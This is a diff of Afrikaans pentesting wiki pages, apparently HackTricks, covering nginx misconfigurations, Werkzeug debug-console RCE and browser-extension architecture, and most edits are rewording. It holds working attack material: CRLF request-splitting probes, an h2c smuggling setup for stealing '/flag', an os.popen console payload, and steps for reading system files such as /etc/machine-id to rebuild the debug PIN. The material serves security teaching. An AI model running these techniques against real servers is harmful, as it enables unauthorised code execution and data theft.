Kyk na die volgende bladsy om te leer hoe om riglyne soos te ontduik:
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
|
@ -75,18 +75,22 @@ location = /admin/ {
|
|||
deny all;
|
||||
}
|
||||
```
|
||||
## Onveilige gebruik van veranderlikes / HTTP-aanvraagsplitsing <a href="#onveilige-gebruik-van-veranderlikes" id="onveilige-gebruik-van-veranderlikes"></a>
|
||||
{% content-ref url="../../pentesting-web/proxy-waf-protections-bypass.md" %}
|
||||
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="gevaar" %}
|
||||
## Onveilige gebruik van veranderlikes / HTTP-versoekverdeling <a href="#onveilige-gebruik-van-veranderlikes" id="onveilige-gebruik-van-veranderlikes"></a>
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kwesbare veranderlikes `$uri` en `$document_uri` en dit kan reggestel word deur hulle te vervang met `$request_uri`.
|
||||
|
||||
'n Regex kan ook kwesbaar wees soos:
|
||||
|
||||
`location ~ /docs/([^/])? { … $1 … }` - Kwesbaar
|
||||
`location ~ /docs/([^/])? { … $1 … }` - Kwesbaar 
|
||||
|
||||
`location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar (ruimtes word nagegaan)
|
||||
`location ~ /docs/([^/\s])? { … $1 … }` - Nie kwesbaar nie (ruimtes word nagegaan)
|
||||
|
||||
`location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar
|
||||
`location ~ /docs/(.*)? { … $1 … }` - Nie kwesbaar nie
|
||||
{% endhint %}
|
||||
|
||||
'n Kwesbaarheid in die Nginx-opset word gedemonstreer deur die volgende voorbeeld:
|
||||
|
@ -110,16 +114,16 @@ Leer meer oor die risiko's van CRLF-inspuiting en responsverdeling by [https://b
|
|||
Hierdie tegniek word ook [**verduidelik in hierdie gesprek**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) met 'n paar kwesbare voorbeelde en opsporingsmeganismes. Byvoorbeeld, Om hierdie wanopstelling van 'n swartkassie-perspektief op te spoor, kan jy hierdie versoek stuur:
|
||||
|
||||
* `https://example.com/%20X` - Enige HTTP-kode
|
||||
* `https://example.com/%20H` - 400 Slegte versoek
|
||||
* `https://example.com/%20H` - 400 Bad Request
|
||||
|
||||
Indien kwesbaar, sal die eerste as "X" enige HTTP-metode terugstuur en die tweede sal 'n fout terugstuur aangesien H nie 'n geldige metode is nie. Dus sal die bediener iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout trigger.
|
||||
Indien kwesbaar, sal die eerste terugkeer as "X" aangesien enige HTTP-metode en die tweede sal 'n fout terugstuur aangesien H nie 'n geldige metode is nie. Dus sal die bediener iets soos ontvang: `GET / H HTTP/1.1` en dit sal die fout trigger.
|
||||
|
||||
'n Ander opsporingsvoorbeelde sou wees:
|
||||
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Enige HTTP-kode
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Slegte versoek
|
||||
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
|
||||
|
||||
Sommige gevonde kwesbare opstellings wat in daardie gesprek aangebied is, was:
|
||||
Sommige gevind kwesbare opstellings wat in daardie gesprek aangebied is, was:
|
||||
|
||||
* Merk op hoe **`$uri`** soos in die finale URL ingestel is
|
||||
```
|
||||
|
@ -141,25 +145,25 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
|
|||
```
|
||||
### Enige veranderlike
|
||||
|
||||
Daar is ontdek dat **gebruikersverskafte data** onder sekere omstandighede as 'n **Nginx veranderlike** hanteer kan word. Die oorsaak van hierdie gedrag bly tot op 'n sekere mate ontwykend, tog is dit nie skaars of reguit vorentoe om te verifieer nie. Hierdie anomalie is uitgelig in 'n veiligheidsverslag op HackerOne, wat [hier](https://hackerone.com/reports/370094) besigtig kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifisering van sy voorkoms binne die [SSI filter module van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), wat Server Side Includes (SSI) as die hoofoor saak aanwys.
|
||||
Daar is ontdek dat **gebruikersverskafte data** onder sekere omstandighede as 'n **Nginx veranderlike** hanteer kan word. Die oorsaak van hierdie gedrag bly tot op 'n sekere mate ontwykend, tog is dit nie skaars of reguit vorentoe om te verifieer nie. Hierdie anomalie is uitgelig in 'n veiligheidsverslag op HackerOne, wat [hier](https://hackerone.com/reports/370094) besigtig kan word. Verdere ondersoek na die foutboodskap het gelei tot die identifisering van sy voorkoms binne die [SSI-filtermodule van Nginx se kodebasis](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), wat Server Side Includes (SSI) as die hoofoor saak aanwys.
|
||||
|
||||
Om hierdie wanopset te **ontdek**, kan die volgende bevel uitgevoer word, wat die instelling van 'n verwysingskop behels om vir veranderlike afdruk te toets:
|
||||
Om hierdie wanopset op te spoor, kan die volgende bevel uitgevoer word, wat die instelling van 'n verwysingskop behels om vir veranderlike afdruk te toets:
|
||||
```bash
|
||||
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
|
||||
```
|
||||
Skanderings vir hierdie wanopset oor stelsels het verskeie gevalle aan die lig gebring waar Nginx-veranderlikes deur 'n gebruiker gedruk kon word. Nietemin, 'n afname in die aantal kwesbare gevalle dui daarop dat pogings om hierdie probleem reg te stel, tot op 'n mate suksesvol was.
|
||||
Skanderings vir hierdie wanopset oor stelsels het verskeie gevalle aan die lig gebring waar Nginx-veranderlikes deur 'n gebruiker gedruk kon word. Nietemin, 'n afname in die aantal kwesbare gevalle dui daarop dat pogings om hierdie probleem reg te stel tot op 'n mate suksesvol was.
|
||||
|
||||
## Oorspronklike agterkant-reaksie lees
|
||||
## Oorspronklike agterkant reaksie lees
|
||||
|
||||
Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP-koppele wat deur die agterkant geproduseer word, moontlik maak om interne foutboodskappe en koppele te verberg. Dit word bereik deur Nginx aangepaste foutbladsye te laat dien as reaksie op agterkantfoute. Tog ontstaan uitdagings wanneer Nginx 'n ongeldige HTTP-aanvraag teëkom. So 'n versoek word na die agterkant deurgestuur soos ontvang, en die agterkant se oorspronklike reaksie word dan direk aan die klient gestuur sonder Nginx se tussenkoms.
|
||||
Nginx bied 'n kenmerk deur `proxy_pass` wat die onderskepping van foute en HTTP-koppele wat deur die agterkant geproduseer word, moontlik maak met die doel om interne foutboodskappe en koppele te verberg. Dit word bereik deur Nginx wat aangepaste foutbladsye bedien as reaksie op agterkantfoute. Tog ontstaan uitdagings wanneer Nginx 'n ongeldige HTTP-versoek teëkom. So 'n versoek word na die agterkant deurgestuur soos ontvang, en die agterkant se oorspronklike reaksie word dan direk aan die klient gestuur sonder Nginx se tussenkoms.
|
||||
|
||||
Oorweeg 'n voorbeeldscenario wat 'n uWSGI-toepassing insluit:
|
||||
Oorweeg 'n voorbeeldscenario wat 'n uWSGI-aansoek insluit:
|
||||
```python
|
||||
def application(environ, start_response):
|
||||
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
|
||||
return [b"Secret info, should not be visible!"]
|
||||
```
|
||||
Om dit te bestuur, word spesifieke riglyne in die Nginx-konfigurasie gebruik:
|
||||
Om dit te bestuur, word spesifieke riglyne in die Nginx-opset gebruik:
|
||||
```
|
||||
http {
|
||||
error_page 500 /html/error.html;
|
||||
|
@ -167,16 +171,16 @@ proxy_intercept_errors on;
|
|||
proxy_hide_header Secret-Header;
|
||||
}
|
||||
```
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Hierdie riglyn stel Nginx in staat om 'n aangepaste reaksie te dien vir agterste reaksies met 'n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI-aansoek, 'n `500 Fout` reaksie onderskep en hanteer word deur Nginx.
|
||||
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Hierdie riglyn stel Nginx in staat om 'n aangepaste reaksie te dien vir agterkant reaksies met 'n statuskode groter as 300. Dit verseker dat, vir ons voorbeeld uWSGI-toepassing, 'n `500 Fout` reaksie onderskep en hanteer word deur Nginx.
|
||||
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Soos die naam aandui, hierdie riglyn verberg gespesifiseerde HTTP-koppe van die klient, wat privaatheid en sekuriteit verbeter.
|
||||
|
||||
Wanneer 'n geldige `GET` versoek gedoen word, verwerk Nginx dit normaalweg, deur 'n standaard fout reaksie terug te stuur sonder om enige geheime koppe bloot te stel. 'n Ongeldige HTTP versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agterste reaksies, insluitend geheime koppe en foutboodskappe.
|
||||
Wanneer 'n geldige `GET` versoek gedoen word, verwerk Nginx dit normaalweg, deur 'n standaard fout reaksie terug te stuur sonder om enige geheime koppe te onthul. 'n Ongeldige HTTP versoek omseil egter hierdie meganisme, wat lei tot die blootstelling van rou agterkant reaksies, insluitend geheime koppe en foutboodskappe.
|
||||
|
||||
## merge\_slashes ingestel op af
|
||||
|
||||
Standaard is Nginx se **`merge_slashes` riglyn** ingestel op **`aan`**, wat meervoudige skuiweerslagte in 'n URL in 'n enkele skuiweerslag saamdruk. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in aansoeke agter Nginx verberg, veral dié vatbaar vir plaaslike lêer insluiting (LFI) aanvalle. Sekuriteitsexperts **Danny Robinson en Rotem Bar** het die potensiële risiko's wat verband hou met hierdie verstek-gedrag beklemtoon, veral wanneer Nginx as 'n omgekeerde proksi optree.
|
||||
Standaard is Nginx se **`merge_slashes` riglyn** ingestel op **`aan`**, wat meervoudige skuiweerslagte in 'n URL in 'n enkele skuiweerslag saamdruk. Hierdie kenmerk, terwyl dit URL-verwerking stroomlyn, kan onbedoeld kwesbaarhede in toepassings agter Nginx verberg, veral dié vatbaar vir plaaslike lêer insluiting (LFI) aanvalle. Sekuriteitsexperts **Danny Robinson en Rotem Bar** het die potensiële risiko's wat verband hou met hierdie verstekgedrag beklemtoon, veral wanneer Nginx as 'n omgekeerde proksi optree.
|
||||
|
||||
Om sulke risiko's te verminder, word dit aanbeveel om die `merge_slashes` riglyn af te skakel vir aansoeke wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoek na die aansoek stuur sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitskwessies te verberg nie.
|
||||
Om sulke risiko's te verminder, word dit aanbeveel om die `merge_slashes` riglyn af te skakel vir toepassings wat vatbaar is vir hierdie kwesbaarhede. Dit verseker dat Nginx versoek na die toepassing stuur sonder om die URL-struktuur te verander, en dus nie enige onderliggende sekuriteitsprobleme te verberg nie.
|
||||
|
||||
Vir meer inligting, kyk na [Danny Robinson en Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
|
@ -194,7 +198,7 @@ Byvoorbeeld, die kop **`X-Accel-Redirect`** sal 'n interne **herleiing** in die
|
|||
|
||||
### **Verstekwaarde in Map Riglyn**
|
||||
|
||||
In die **Nginx konfigurasie**, speel die `map` riglyn dikwels 'n rol in **outorisasiebeheer**. 'n Algemene fout is om nie 'n **verstek** waarde te spesifiseer nie, wat tot ongemagtigde toegang kan lei. Byvoorbeeld:
|
||||
In die **Nginx konfigurasie**, speel die `map` riglyn dikwels 'n rol in **toestemmingsbeheer**. 'n Algemene fout is om nie 'n **verstek** waarde te spesifiseer nie, wat tot ongemagtigde toegang kan lei. Byvoorbeeld:
|
||||
```yaml
|
||||
http {
|
||||
map $uri $mappocallow {
|
||||
|
@ -217,7 +221,7 @@ Sondef 'n `standaard`, kan 'n **booswillige gebruiker** sekuriteit omseil deur t
|
|||
|
||||
### **DNS Spoofing Kwesbaarheid**
|
||||
|
||||
DNS-spoofing teen Nginx is moontlik onder sekere omstandighede. As 'n aanvaller die **DNS-bediener** wat deur Nginx gebruik word ken en sy DNS-navrae kan onderskep, kan hulle DNS-rekords vervals. Hierdie metode is egter ondoeltreffend as Nginx ingestel is om **localhost (127.0.0.1)** vir DNS-oplossing te gebruik. Nginx maak dit moontlik om 'n DNS-bediener as volg te spesifiseer:
|
||||
DNS spoofing teen Nginx is moontlik onder sekere omstandighede. As 'n aanvaller die **DNS-bediener** wat deur Nginx gebruik word ken en sy DNS-navrae kan onderskep, kan hulle DNS-rekords vervals. Hierdie metode is egter ondoeltreffend as Nginx ingestel is om **localhost (127.0.0.1)** vir DNS-oplossing te gebruik. Nginx maak dit moontlik om 'n DNS-bediener as volg te spesifiseer:
|
||||
```yaml
|
||||
resolver 8.8.8.8;
|
||||
```
|
||||
|
@ -230,7 +234,7 @@ Die **`proxy_pass`**-riglyn word gebruik om versoek na ander bedieners te stuur,
|
|||
As die nginx-bediener gekonfigureer is om die Opgradering- en Verbindingskoppe oor te dra, kan 'n [**h2c Smuggling-aanval**](../../pentesting-web/h2c-smuggling.md) uitgevoer word om toegang tot beskermde/internale eindpunte te verkry.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Hierdie kwesbaarheid sou 'n aanvaller toelaat om **'n direkte verbinding met die `proxy_pass`-eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx nagegaan sal word nie.
|
||||
Hierdie kwesbaarheid sal 'n aanvaller toelaat om **'n direkte verbinding met die `proxy_pass`-eindpunt te vestig** (`http://backend:9999` in hierdie geval) waarvan die inhoud nie deur nginx nagegaan sal word nie.
|
||||
{% endhint %}
|
||||
|
||||
Voorbeeld van 'n kwesbare konfigurasie om `/flag` te steel van [hier](https://bishopfox.com/blog/h2c-smuggling-request):
|
||||
|
@ -263,7 +267,7 @@ Detectify het 'n GitHub-opberging geskep waar jy Docker kan gebruik om jou eie k
|
|||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
## Statische Analiseerder gereedskap
|
||||
## Statische Analiseerdersgereedskap
|
||||
|
||||
### [GIXY](https://github.com/yandex/gixy)
|
||||
|
||||
|
@ -279,9 +283,9 @@ Nginxpwner is 'n eenvoudige gereedskap om na algemene Nginx-verkeerde konfiguras
|
|||
* [**http://blog.zorinaq.com/nginx-resolver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/)
|
||||
* [**https://github.com/yandex/gixy/issues/115**](https://github.com/yandex/gixy/issues/115)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & kenmerke wat vanaf rekognisering tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentesting**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & kenmerke wat vanaf rekognisering tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -293,8 +297,8 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opberge.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,21 +6,21 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsevaluering & pentesting**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & funksies wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat pop, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## Konsole RCE
|
||||
## Konsol RCE
|
||||
|
||||
As foutopsporing aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry.
|
||||
```python
|
||||
|
@ -28,7 +28,7 @@ __import__('os').popen('whoami').read();
|
|||
```
|
||||
.png>)
|
||||
|
||||
Daar is ook verskeie uitbuitings op die internet soos [hierdie](https://github.com/its-arun/Werkzeug-Debug-RCE) of een in metasploit.
|
||||
Daar is ook verskeie uitbuite op die internet soos [hierdie](https://github.com/its-arun/Werkzeug-Debug-RCE) of een in metasploit.
|
||||
|
||||
## Pin Beskerm - Pad Traversal
|
||||
|
||||
|
@ -56,15 +56,15 @@ Om die konsole PIN uit te buit, word twee stelle veranderlikes, `probably_public
|
|||
#### **`private_bits`**
|
||||
|
||||
* **`uuid.getnode()`**: Haal die MAC-adres van die huidige masjien op, met `str(uuid.getnode())` wat dit na 'n desimale formaat omskakel.
|
||||
* Om die **bediener se MAC-adres te bepaal**, moet mens die aktiewe netwerkinterfase wat deur die app gebruik word identifiseer (byvoorbeeld, `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, en dan **ekstraeer die MAC-adres** uit **`/sys/class/net/<toestel id>/address`**.
|
||||
* Omskakeling van 'n heksadesimale MAC-adres na desimaal kan uitgevoer word soos hieronder getoon:
|
||||
* Om die **bediener se MAC-adres te bepaal**, moet mens die aktiewe netwerkinterface wat deur die app gebruik word identifiseer (byvoorbeeld, `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, en dan **ekstraheer die MAC-adres** uit **`/sys/class/net/<toestel id>/address`**.
|
||||
* Die omskakeling van 'n heksadesimale MAC-adres na desimaal kan uitgevoer word soos hieronder getoon:
|
||||
|
||||
```python
|
||||
# Voorbeeld MAC-adres: 56:00:02:7a:23:ac
|
||||
>>> print(0x5600027a23ac)
|
||||
94558041547692
|
||||
```
|
||||
* **`get_machine_id()`**: Kombineer data vanaf `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` met die eerste lyn van `/proc/self/cgroup` na die laaste skuiwing (`/`).
|
||||
* **`get_machine_id()`**: Kombineer data vanaf `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` met die eerste lyn van `/proc/self/cgroup` na die laaste skuiwingsteken (`/`).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -154,7 +154,7 @@ rv = num
|
|||
|
||||
print(rv)
|
||||
```
|
||||
Hierdie skrif genereer die PIN deur die saamgevoegde bietjies te hash, spesifieke sale (`cookiesalt` en `pinsalt`) by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir `probably_public_bits` en `private_bits` akkuraat verkry moet word vanaf die teikenstelsel om te verseker dat die gegenereerde PIN ooreenstem met dié wat deur die Werkzeug-konsole verwag word.
|
||||
Hierdie skrip genereer die PIN deur die saamgevoegde bietjies te hash, spesifieke sout (`cookiesalt` en `pinsalt`) by te voeg, en die uitset te formateer. Dit is belangrik om daarop te let dat die werklike waardes vir `probably_public_bits` en `private_bits` akkuraat verkry moet word vanaf die teikensisteem om te verseker dat die gegenereerde PIN ooreenstem met die een wat deur die Werkzeug-konsole verwag word.
|
||||
|
||||
{% hint style="success" %}
|
||||
As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme na md5** te verander in plaas van sha1.
|
||||
|
@ -164,7 +164,7 @@ As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme
|
|||
|
||||
Soos waargeneem in [**hierdie probleem**](https://github.com/pallets/werkzeug/issues/2833), sluit Werkzeug nie 'n versoek met Unicode-karakters in koppe nie. En soos verduidelik in [**hierdie uiteensetting**](https://mizu.re/post/twisty-python), kan dit 'n CL.0-versoeksmokkelbaarheid veroorsaak.
|
||||
|
||||
Dit is omdat, in Werkzeug, is dit moontlik om sekere **Unicode**-karakters te stuur en dit sal die bediener **breek**. Tog, as die HTTP-verbindings geskep is met die kop **`Connection: keep-alive`**, sal die liggaam van die versoek nie gelees word nie en die verbindings sal nog oop wees, sodat die **liggaam** van die versoek as die **volgende HTTP-versoek** hanteer sal word.
|
||||
Dit is omdat, in Werkzeug, is dit moontlik om sommige **Unicode**-karakters te stuur en dit sal die bediener **breek**. Maar, as die HTTP-verbindings geskep is met die kop **`Connection: keep-alive`**, sal die liggaam van die versoek nie gelees word nie en die verbindings sal nog oop wees, sodat die **liggaam** van die versoek as die **volgende HTTP-versoek** hanteer sal word.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
@ -173,9 +173,9 @@ Dit is omdat, in Werkzeug, is dit moontlik om sekere **Unicode**-karakters te st
|
|||
* [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||||
* [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Onmiddellik beskikbare opstelling vir kwetsbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat strek vanaf rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te delf, skulpe te laat klap, en pret te hê.
|
||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsassessering & pentest**. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap & kenmerke wat gaan van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporing & uitbuitingsmodules om hulle 'n bietjie tyd terug te gee om dieper te delf, skulpe te laat spat, en pret te hê.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Webblaaier-uitbreidings is geskryf in JavaScript en word deur die blaaier in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js\_htmldom.asp) maar kan met ander webwerwe se DOM's interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit en beskikbaarheid (CIA) kan kompromiteer.
|
||||
Webblaaier-uitbreidings is geskryf in JavaScript en word deur die blaaier in die agtergrond gelaai. Dit het sy [DOM](https://www.w3schools.com/js/js\_htmldom.asp) maar kan met ander webwerwe se DOMs interaksie hê. Dit beteken dat dit ander webwerwe se vertroulikheid, integriteit, en beskikbaarheid (CIA) kan kompromiteer.
|
||||
|
||||
## Hoofkomponente
|
||||
|
||||
Uitbreidings se uitlegte lyk die beste wanneer dit gevisualiseer word en bestaan uit drie komponente. Laat ons na elke komponent in diepte kyk.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **Inhoudskripte**
|
||||
|
||||
|
@ -30,25 +30,25 @@ Elke inhoudskrip het direkte toegang tot die DOM van 'n **enkele webbladsy** en
|
|||
|
||||
### **Uitbreidingskern**
|
||||
|
||||
Die uitbreidingskern bevat die meeste van die uitbreidingspriviliges/toegang, maar die uitbreidingskern kan slegs met webinhoud interaksie hê deur [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) en inhoudskripte. Die uitbreidingskern het ook nie direkte toegang tot die gasrekenaar nie.
|
||||
